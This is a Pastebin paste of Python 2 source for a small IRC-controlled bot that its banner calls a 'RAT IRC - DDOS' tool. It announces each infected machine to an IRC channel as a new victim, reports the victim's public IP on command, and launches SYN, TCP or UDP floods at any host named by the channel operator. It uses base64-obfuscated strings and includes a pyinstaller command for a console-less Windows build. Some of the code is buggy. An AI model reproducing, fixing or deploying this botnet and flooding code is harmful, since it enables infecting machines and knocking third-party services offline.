Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- """
- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
- FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
- COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
- INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
- BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
- LOSS OF USE, DATA, OR PROFITS.
- Vagrum.
- Compilation:
- pyinstaller --noconsole --onefile --clean --win-no-prefer-redirects --win-private-assemblies Vagrum.py
- Documentation:
- !boot METHOD HOST PORT TIME
- --> Methods : SYN, TCP, UDP
- """
- import string,socket,sys,os,irclib,ircbot,time,threading,urllib,random,_winreg
- def randstring(length=10):
- return ''.join((random.choice('QUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVo='.decode("base64")) for i in xrange(length)))
- def GetIP():
- return urllib.urlopen("http://ipv4bot.whatismyipaddress.com/").read()
- class Bot(ircbot.SingleServerIRCBot):
- def __init__(self):
- ircbot.SingleServerIRCBot.__init__(self, [(HOSTIRC, PORTIRC)],
- NAMEBOT, "")
- def on_welcome(self, serv, ev):
- serv.join(MyChannel)
- def on_join(self, serv, ev):
- serv.privmsg(MyChannel, "TmV3IHZpY3RpbQ==".decode("base64"))
- def on_pubmsg(self, serv, ev):
- message = ev.arguments()[0]
- if message == "IWlwYm90".decode("base64"):
- serv.privmsg(MyChannel, "TXkgaXAgLT4g".decode("base64")+GetIP())
- if "IWJvb3Q=".decode("base64") in message or "IWJvb3Q=".decode("base64") in message:
- argumentss = message[len("IWJvb3Q=".decode("base64"))+1:100]
- if len(argumentss.split(" ")) != 4:
- serv.privmsg(MyChannel, chr(10)+"TUVUSE9EIDogc3luLCB0Y3AsIHVkcA==".decode("base64")+chr(10)+"LS0+ICFib290IE1FVEhPRCBJUCBQT1JUIFRJTUU=".deocde("base64"))
- else:
- if argumentss.split(" ")[0] == "c3lu".decode("base64"):
- Threaddos = synFlood(argumentss.split(" ")[1], argumentss.split(" ")[2], argumentss.split(" ")[3])
- Threaddos.start()
- elif argumentss.split(" ")[0] == "dGNw".decode("base64"):
- Threaddos = tcpFlood(argumentss.split(" ")[1], argumentss.split(" ")[2], TAILLEDDOS, argumentss.split(" ")[3])
- Threaddos.start()
- elif argumentss.split(" ")[0] == "dWRw".decode("base64"):
- Threaddos = udpFlood(argumentss.split(" ")[1], argumentss.split(" ")[2], TAILLEDDOS, argumentss.split(" ")[3])
- Threaddos.start()
- serv.privmsg(MyChannel, "QXR0YWNrIHN0YXJ0IC0+IE1ldGhvZCA6IA==".decode("base64")+argumentss.split(" ")[0]+ "IEhvc3QgOiA=".decode("base64")+argumentss.split(" ")[1]+"IFBvcnQgOiA=".decode("base64")+argumentss.split(" ")[2]+"IFRpbWUgOiA=".decode("base64")+argumentss.split(" ")[3])
- class synFlood(threading.Thread):
- def __init__(self, ip, port, time):
- self.ip = ip
- self.port = port
- self.time = time
- self.syn = socket.socket()
- threading.Thread.__init__(self)
- def run(self):
- timeout = time.time() + int(self.time)
- while True:
- if time.time() > timeout:
- break
- else:
- pass
- try:
- self.syn.connect((self.ip, self.port))
- except:
- pass
- class tcpFlood(threading.Thread):
- def __init__(self, ip, port, size, time):
- self.ip = ip
- self.port = port
- self.size = size
- self.time = time
- self.tcp = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
- threading.Thread.__init__(self)
- def run(self):
- timeout = time.time() + int(self.time)
- while True:
- if time.time() > timeout:
- break
- else:
- pass
- try:
- bytes = random._urandom(self.size)
- socket.connect(self.ip, self.port)
- socket.setblocking(0)
- socket.sendto(bytes,(self.ip, self.port))
- except:
- pass
- class udpFlood(threading.Thread):
- def __init__(self, ip, port, size, time):
- self.ip = ip
- self.port = port
- self.size = size
- self.time = time
- self.udp = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
- threading.Thread.__init__(self)
- def run(self):
- timeout = time.time() + int(self.time)
- while True:
- if time.time() > timeout:
- break
- else:
- pass
- try:
- bytes = random._urandom(self.size)
- if self.port == 0:
- self.port = random.randrange(1, 65535)
- self.udp.sendto(bytes,(self.ip, self.port))
- except:
- pass
- if __name__ == "__main__":
- print "Vagrum v0.1 - RAT IRC - DDOS"+chr(10)+"--> SYN, TCP, UDP"
- NAMEBOT = randstring(5)
- MyChannel = "#MyChannelBOT"
- HOSTIRC = "leguin.freenode.net"
- PORTIRC = 6665
- TAILLEDDOS = 4094
- Bot().start()
Add Comment
Please, Sign In to add comment